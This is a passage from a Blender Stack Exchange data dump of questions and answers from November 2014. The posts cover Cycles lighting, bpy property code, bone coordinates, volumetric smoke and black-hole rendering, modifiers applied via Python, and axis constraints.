  <row Id="18697" PostTypeId="1" AcceptedAnswerId="18708" CreationDate="2014-11-10T09:07:06.163" Score="5" ViewCount="2505" Body="&lt;p&gt;How I can achieve lighting that we have in Autumn mornings using &lt;strong&gt;cycles&lt;/strong&gt; ? We have some ambient light with very blurry shadows - I'm thinking about something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qgRkz.jpg&quot; alt=&quot;Rainy street&quot;&gt;&#xA;&lt;a href=&quot;https://farm4.staticflickr.com/3565/3403192179_0c3044e5df.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://farm4.staticflickr.com/3565/3403192179_0c3044e5df.jpg&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="806" LastEditorUserId="12" LastEditDate="2014-11-10T16:26:10.833" LastActivityDate="2014-11-10T16:26:10.833" Title="Lighting without highly visible shadows" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18698" PostTypeId="2" ParentId="18685" CreationDate="2014-11-10T09:07:50.470" Score="1" Body="&lt;p&gt;If you need multiple strings, why not use &lt;code&gt;CollectionProperty&lt;/code&gt;? &lt;code&gt;bpy.types.PropertyGroup&lt;/code&gt; comes with a &lt;code&gt;StringProperty&lt;/code&gt; already (&lt;code&gt;name&lt;/code&gt;), then just add new items to the collection and assign an image's name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;*VectorProperty&lt;/code&gt;s shouldn't be used if the amount of integers, bools or floats aren't limited conceptually. They are meant to store things like transformation matrices, which are never larger than 4x4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since image datablocks are ID types, why don't you add an &lt;code&gt;IntProperty&lt;/code&gt; and assign a number, then sort images by that? Set the default to -1, and ignore these to distinguish unrelated images from your project images:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# Register property - should be in register()&#xA;bpy.types.Image.project_id = bpy.props.IntProperty(&#xA;    default=-1,&#xA;    min=-1&#xA;)&#xA;&#xA;# Assign number&#xA;img.project_id = ...&#xA;&#xA;# Filter and sort&#xA;sorted(filter(lambda x: x.project_id &amp;gt; -1, bpy.data.images), key=lambda x: x.project_id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-11-10T09:07:50.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18699" PostTypeId="2" ParentId="18686" CreationDate="2014-11-10T09:14:33.447" Score="5" Body="&lt;p&gt;You can't change anything in &lt;code&gt;bl_rna&lt;/code&gt;, you can only set the &lt;code&gt;min&lt;/code&gt; and &lt;code&gt;max&lt;/code&gt; values in the constructor&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;... = bpy.props.*Property(min=..., max=...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To change the boundaries after property registration, it would be required to re-register that property. It will remain its value, but it might leak memory or do weird stuff at some point, since it's not intended to be used like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do you want to change the possible value range at all? Just leave out the &lt;code&gt;max&lt;/code&gt; parameter for almost infinite growth and use a low &lt;code&gt;soft_max&lt;/code&gt; to make the widget behave nicer.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-11-10T09:14:33.447" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18700" PostTypeId="2" ParentId="18606" CreationDate="2014-11-10T09:38:15.293" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_release/bpy.types.Bone.html#bpy.types.Bone.head&quot; rel=&quot;nofollow&quot;&gt;API docs:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;head&lt;/strong&gt; - Location of head end of the bone relative to its parent&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;head_local&lt;/strong&gt; - Location of head end of the bone relative to armature&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;tail&lt;/strong&gt; - Location of tail end of the bone&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;tail_local&lt;/strong&gt; - Location of tail end of the bone relative to armature&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since Bone 1 has no parent, the vector between object origin and bone head is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bone 2's head it at Bone 1's tail (&lt;em&gt;Connected&lt;/em&gt; is ticked), thus Bone 2's head is at &lt;code&gt;(0, 0, 0)&lt;/code&gt; because there is no distance between both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bone 2's tail is at &lt;code&gt;(0, 1.732, 0)&lt;/code&gt; because it's given relative to its parent bone. Bone 1 and 2 face the very same direction, all it takes is the length of the bone to define its endpoint (Bone direction is on the Y-axis in Blender). Tail minus head is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(3, 3, 3) - (2, 2, 2) = (1, 1, 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the length&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;sqrt(1&lt;sup&gt;2&lt;/sup&gt; + 1&lt;sup&gt;2&lt;/sup&gt; + 1&lt;sup&gt;2&lt;/sup&gt;) = ~1.732&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-11-10T09:38:15.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18701" PostTypeId="1" CreationDate="2014-11-10T09:49:49.087" Score="1" ViewCount="884" Body="&lt;p&gt;I want my image to look like image 1, but when I render, the result is image 2.&#xA;Why is the viewport different to the rendered output?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SVD4a.png&quot; alt=&quot;pic 1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yk4LW.png&quot; alt=&quot;pic 2&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7920" LastEditorUserId="1405" LastEditDate="2014-11-10T12:13:51.903" LastActivityDate="2014-11-11T01:35:30.750" Title="Camera perspective in viewport is different to in render" Tags="&lt;rendering&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-11-10T13:09:28.587" ContentLicense="CC BY-SA 3.0" />
  <row Id="18702" PostTypeId="1" CreationDate="2014-11-10T10:57:14.167" Score="2" ViewCount="1542" Body="&lt;p&gt;Here is my question: I have a single object and 5 modifiers to be applied to it. I would like to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add all of them together&lt;/li&gt;&#xA;&lt;li&gt;Allow the user to change a set of parameters with some GUI, maybe a bar scrolling from a minimum to a maximum value&lt;/li&gt;&#xA;&lt;li&gt;Allow the user to apply the modifiers (all together) when he is satisfied with the result.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Let's keep it simple for now and let's say I consider &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;DECIMATE MODIFIER&lt;/em&gt; with the ratio parameter to be set&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;WIREFRAME MODIFIER&lt;/em&gt; with the thickness parameter to be set&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Point 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking to something simple &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class AddModifiers(bpy.types.Operator):    &#xA;    bl_idname = &quot;modifiers.add&quot;&#xA;    bl_label = &quot;Adding Modifiers&quot;&#xA;    bl_options = {&quot;UNDO&quot;}&#xA;&#xA;    def execute(self,context):&#xA;        obj = bpy.context.active_object &#xA;        bpy.ops.object.modifier_add(type='DECIMATE')&#xA;        bpy.context.object.modifiers[&quot;Decimate&quot;].ratio=0.5 # parameter inizialization&#xA;        bpy.ops.object.modifier_add(type='WIREFRAME')&#xA;        bpy.context.object.modifiers[&quot;Wireframe&quot;].thickness=2 # parameter initialization    &#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;class Panel(bpy.types.Panel):&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;TOOLS&quot;&#xA;    bl_context = &quot;objectmode&quot;&#xA;    bl_category = &quot;Modifiers&quot;&#xA;    bl_label = &quot;Add Modifiers&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        # ALLINEAMENTO&#xA;        row = layout.row(align=True)    &#xA;        row.alignment = 'EXPAND'        &#xA;        row.operator(&quot;modifiers.add&quot;, text=&quot;Adding Modifiers&quot;)&#xA;&#xA;    def register():     &#xA;        bpy.utils.register_class(AddModifiers)&#xA;&#xA;register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Point 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really don't know how to do that... class and gui...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Point 3.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding a class like that (with its own button in the gui of course)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ApplyModifiers(bpy.types.Operator):    &#xA;    bl_idname = &quot;modifiers.apply&quot;&#xA;    bl_label = &quot;Applying Modifiers&quot;&#xA;    bl_options = {&quot;UNDO&quot;}&#xA;&#xA;    bpy.ops.object.modifier_apply(apply_as='DATA', modifier=&quot;Decimate&quot;)&#xA;    bpy.ops.object.modifier_apply(apply_as='DATA', modifier=&quot;Wireframe&quot;)&#xA;    return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7494" LastEditorUserId="2217" LastEditDate="2014-11-11T01:33:51.053" LastActivityDate="2014-12-11T02:11:01.077" Title="Modifiers: add and set &quot;live&quot; parameters then apply via python" Tags="&lt;python&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18703" PostTypeId="1" AcceptedAnswerId="23574" CreationDate="2014-11-10T11:20:18.417" Score="60" ViewCount="25099" Body="&lt;p&gt;I recently saw the film Interstellar and it was fantastic! The effects blew me away and it got me in the mood to try and re create the black hole, however I haven't been able to find any information on how you can make a spherical object warp the world around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway in which you can do this? I've tried adding another sphere, making it transparent and giving it a gravitational lighting effect but it just doesn't cut it. The sphere needs to somehow warp everything around it and not itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd love to hear any tips or suggestions to try out and experiment with them!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I am not great at using nodes so if that's the key, could you explain in great detail?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried that method but the outcome is with a black sphere. I've checked all the nodes and modifiers multiple times and all is the same so I'm slightly confused as to why it's not working the same. I have a hunch that it could be the shadow being emitted by the half sphere however I've disabled it in the 'Ray Visibility' section. I've tried adding transparency nodes with ray depth, shadow ray, camera ray etc but nothing seems to be working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NLLbO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Weird shockwave effect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6QdVV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my .blend file:&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/33997&quot; rel=&quot;noreferrer&quot;&gt;Black Hole&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the black hole working nicely now. Have made some slight changes to accommodate for jagged edges and the warp moving away from the black hole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've changed the bounce values to decrease the amount of dark patches.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Syvsh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what it now looks like. All I need to do now is figure out a way to create an inner distortion around the very edge of the black hole. Any advice on that would be great! Then I can work on an accretion disc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've upped the &lt;em&gt;To Max&lt;/em&gt; value to 0.040.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UZEZi.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also note that I have chopped the black hole sphere in half. This is so the refraction sphere doesn't hide behind it when up close. It also keeps a nice warped edge when close which looks really good.&lt;/p&gt;&#xA;" OwnerUserId="5424" LastEditorUserId="5424" LastEditDate="2015-01-26T16:45:22.563" LastActivityDate="2021-03-07T21:44:57.970" Title="Creating a Black Hole in Blender" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;light&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="37" ContentLicense="CC BY-SA 3.0" />
  <row Id="18705" PostTypeId="2" ParentId="18701" CreationDate="2014-11-10T12:47:42.213" Score="2" Body="&lt;p&gt;It's because you're zoomed in on the viewport, and can't see the edge of your camera. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the viewport, use the mousewheel to zoom out until the edge of the camera shows up. Select the camera, and move the camera forward with &lt;kbd&gt;G&lt;/kbd&gt; &lt;kbd&gt;MMB &lt;img src=&quot;https://wiki.blender.org/uploads/7/7b/Template-MMB.png&quot; alt=&quot;MMB&quot;&gt;&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.653" LastActivityDate="2014-11-11T01:35:30.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18706" PostTypeId="2" ParentId="18686" CreationDate="2014-11-10T13:14:02.363" Score="9" Body="&lt;p&gt;You can not alter builtin properties deriving from &lt;code&gt;bpy.types.Property&lt;/code&gt;. Just have a look at the &lt;a href=&quot;http://www.blender.org/documentation/current/bpy.types.IntProperty.html?highlight=intproperty#bpy.types.IntProperty&quot; rel=&quot;nofollow noreferrer&quot;&gt;api documentation&lt;/a&gt;. Every attribute is marked as readonly.&lt;/p&gt;&#xA;&lt;p&gt;If you are using properties from &lt;a href=&quot;http://www.blender.org/documentation/current/bpy.props.html#get-set-example&quot; rel=&quot;nofollow noreferrer&quot;&gt;bpy.props&lt;/a&gt; you can use your own setter and getter functions to check for min/max dynamically:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def get_frame(self):&#xA;    #default value=42&#xA;    return self.get('frame_custom', 42)  &#xA;&#xA;def set_frame(self, value):&#xA;    #only accept values between min=0 and max=99&#xA;    if 0 &amp;lt;= value &amp;lt; 100: &#xA;        self['frame_custom'] = value&#xA;&#xA;bpy.types.Scene.frame_custom = bpy.props.IntProperty(name=&amp;quot;Frame&amp;quot;, get=get_frame, set=set_frame)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You could also wrap the scene attribute &lt;code&gt;frame_current&lt;/code&gt; using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def get_frame(self):&#xA;    return self.frame_current&#xA;&#xA;def set_frame(self, value)&#xA;    if 0 &amp;lt;= value &amp;lt; 99:&#xA;        self.frame_current = value&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="31447" LastEditDate="2020-12-14T13:30:54.100" LastActivityDate="2020-12-14T13:30:54.100" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18708" PostTypeId="2" ParentId="18697" CreationDate="2014-11-10T13:19:19.467" Score="11" Body="&lt;p&gt;A shadow is merely the absence of light. The sharpness or distinction of a shadow is determined by the area from which the light is emitted. Thus, both increasing the size of a light and/or adding more (spread out) lights will create the appearance of subtle or blurry shadows. Simply put, more light means less shadows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice there are a few ways to achieve that sort of overcast lighting:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Large light source&lt;/li&gt;&#xA;&lt;li&gt;Multiple lights&lt;/li&gt;&#xA;&lt;li&gt;Environment lighting&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;1: Large light source&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;All lamps (except the Hemi) in Cycles have the option to increase their &lt;em&gt;Size&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rkTe7.png&quot; alt=&quot;Lamp size&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exact size value that works for you will depend entirely on the scale of your scene and how far away the light is. A small lamp (left) will cast harsh shadows, while a large lamp (right) will cast soft shadows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WGtIV.png&quot; alt=&quot;Render of size&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;2: Multiple lights&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Similarly, you can add more lights which will increase the total area that is emitting light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the left is a single area lamp with &lt;em&gt;Size = 6&lt;/em&gt;, and on the right are 5 area lamps (with reduced intensity) arranged like a dome above Suzanne, also with &lt;em&gt;Size = 6&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1fr02.png&quot; alt=&quot;Multiple sources&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using multiple light sources is a little more tricky to control, but creates slightly more interesting shadows. Here is a screenshot of the scene rendered for the right image above:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QczYK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;3. Environment Lighting&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Cycles allows you to emit light from the &lt;em&gt;World&lt;/em&gt; - an infinitely far away sphere around the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default, the world colour is a dark grey (left), however if you click &lt;em&gt;Use Nodes&lt;/em&gt;, change it to white, increase the strength and add some buildings just out of view to block some light, it can be used quite effectively (right):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Czhyq.png&quot; alt=&quot;Environment lighting img&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of the scene rendered for the right image above:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dt4vE.png&quot; alt=&quot;scene screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2014-11-10T13:19:19.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18709" PostTypeId="2" ParentId="18697" CreationDate="2014-11-10T13:24:33.197" Score="2" Body="&lt;p&gt;In the photograph, the sun is behind the clouds or behind the buildings, so there's no clear directional light source. On the road there are blurry reflections due the rain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use an environment texture that was created in similar weather conditions. On the road you can mix in a glossy shader with textured roughness or bump mapping to simulate the reflections.&lt;/p&gt;&#xA;" OwnerUserId="242" LastEditorUserId="242" LastEditDate="2014-11-10T15:53:14.837" LastActivityDate="2014-11-10T15:53:14.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18710" PostTypeId="1" AcceptedAnswerId="18711" CreationDate="2014-11-10T14:03:48.787" Score="5" ViewCount="2088" Body="&lt;p&gt;I want to produce an object that looks similar to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/59Vtz.jpg&quot; alt=&quot;Bubble&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's basically a plain and simple sphere. I know how to adjust the reflections and transparency using the material properties, but, &lt;strong&gt;how can I make it look like its full of smoke?&lt;/strong&gt; The smoke inside is &lt;strong&gt;static&lt;/strong&gt;, so I don't think its necessary to use the smoke simulator. I just want to have something translucent inside with the same appearance. &lt;/p&gt;&#xA;" OwnerUserId="2391" LastActivityDate="2014-11-10T23:43:37.383" Title="How to fill an object with smoke" Tags="&lt;rendering&gt;&lt;transparency&gt;&lt;smoke-simulation&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18711" PostTypeId="2" ParentId="18710" CreationDate="2014-11-10T15:36:12.763" Score="5" Body="&lt;p&gt;&lt;strong&gt;If you are using cycles render engine (and blender 2.7+)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You actually want to create two different spheres, one for the smoke and one for the glass.  The reason for this is because you don't want the sphere to be solid, but the smoke should be, i.e. you don't want smoke inside the thickness of the wall of the sphere but within the sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I simply created a sphere, duplicated it in place, and gave one of the spheres a solidify modifier with a thickness of -1/8in.  The &quot;thickened&quot; sphere simply has a glass shader.  The other sphere will contain the smoke and has the following node tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ueLsu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is primarily a &lt;em&gt;volume scatter&lt;/em&gt; shader with a little &lt;em&gt;volume absorption&lt;/em&gt; added in.  The scatter is given a variable density with a procedural noise texture.  The color ramp node makes the noise more distinct and the multiply node controls the overall density.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the final render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eIII7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A couple of notes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for cycles, I do not do much (anything) with BI, but I would recommend using cycles for this since you are going for photorealism.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must be using blender 2.7+, previous versions of cycles do not support volumetrics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to knock up the &lt;em&gt;volume bounces&lt;/em&gt; under &lt;em&gt;properties editor &gt; render &gt; light paths&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rr2rO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2014-11-10T23:43:37.383" LastActivityDate="2014-11-10T23:43:37.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18713" PostTypeId="1" CreationDate="2014-11-10T15:39:38.857" Score="3" ViewCount="562" Body="&lt;p&gt;Is there a way to give the OSL method &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;texture(string, float, float, ...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a color input instead of the string which reads an image file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there any type of workaround?&lt;/p&gt;&#xA;" OwnerUserId="3318" LastActivityDate="2014-11-10T15:39:38.857" Title="OSL: Giving the texture method a color instead of string" Tags="&lt;rendering&gt;&lt;nodes&gt;&lt;shaders&gt;&lt;osl&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18714" PostTypeId="2" ParentId="18702" CreationDate="2014-11-10T17:14:53.253" Score="1" Body="&lt;p&gt;In point 1 for the add modifiers operator you set obj to the active_object but don't use it. Rather than using other operators it would be better to perform the task as -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = context.active_object&#xA;dm = obj.modifiers.new('Decimate','DECIMATE')&#xA;dm.ratio = 0.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And similar for other modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For point 2&#xA;Inside &lt;code&gt;draw()&lt;/code&gt; for your panel class you want to add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = context.active_object&#xA;row.prop(obj.modifiers['Decimate'], &quot;ratio&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will show the decimate modifiers ratio property right there in your panel. Adjust for other modifier properties you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For point 3 the apply modifiers needs to be inside the execute function.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-11-10T17:14:53.253" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18716" PostTypeId="2" ParentId="18710" CreationDate="2014-11-10T18:53:32.080" Score="1" Body="&lt;p&gt;Use Cycles, and Blender 2.7+ &#xA;This is a quick node setup for Cycles, and is a good place to start. You should be able to get the result you are looking for by playing around with the various values.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Nat3o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how it renders, feel free to change to fit your needs.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ET4DY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2014-11-10T18:53:32.080" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18718" PostTypeId="1" AcceptedAnswerId="18724" CreationDate="2014-11-10T19:33:37.743" Score="4" ViewCount="578" Body="&lt;p&gt;I've been trying to use an of array text objects for equidistant placement around an empty, but I could never accomplish this.  Is there a way as shown in this photo (the speedometer numbers).  I know that the values are different and an array would have the same text values.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DNhjt.jpg&quot; alt=&quot;Speedometer text values&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="1342" LastActivityDate="2014-11-11T17:40:09.590" Title="Using a series of Text objects in an array" Tags="&lt;modifiers&gt;&lt;text-object&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18719" PostTypeId="1" CreationDate="2014-11-10T20:07:30.233" Score="3" ViewCount="5574" Body="&lt;p&gt;If I:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;start a new blender project&lt;/li&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;Z&lt;/kbd&gt; for viewing in wireframe (helps later)&lt;/li&gt;&#xA;&lt;li&gt;set the origin of the cube to vertex (-1, -1, -1). Do that by pressing &lt;kbd&gt;TAB&lt;/kbd&gt; to enter edit mode, &lt;kbd&gt;A&lt;/kbd&gt; to deselect all, right click vertex (-1, -1, -1), press &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; with the mouse cursor inside the 3D viewer then select Cursor to Selected, then &lt;kbd&gt;TAB&lt;/kbd&gt; to exit edit mode, &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; and set Origin to 3D Cursor.&lt;/li&gt;&#xA;&lt;li&gt;set pivot to the origin (individual origins) &lt;/li&gt;&#xA;&lt;li&gt;rotate 45 degrees on X&lt;/li&gt;&#xA;&lt;li&gt;add a sphere&lt;/li&gt;&#xA;&lt;li&gt;set sphere as child of the cube (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; then selecting Object)&lt;/li&gt;&#xA;&lt;li&gt;reset location/origin of sphere (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; then &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;O&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;change transform orientation to local&lt;/li&gt;&#xA;&lt;li&gt;select the sphere&lt;/li&gt;&#xA;&lt;li&gt;grab sphere (&lt;kbd&gt;G&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;constraint to Y axis in Local (press &lt;kbd&gt;Y&lt;/kbd&gt; then &lt;kbd&gt;Y&lt;/kbd&gt; again)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I expected to have the object move within its local Y axis (rotated in relation to the world coordinates), but unfortunately even pressing &lt;kbd&gt;Y&lt;/kbd&gt; twice, the Y axis constraint is not being set to the cube's rotated Y (it does show &quot;along local Y&quot; in the status bar).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did manage once to have it constrained by the proper rotated axis, but I can't seem to understand what I did and couldn't reproduce it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I 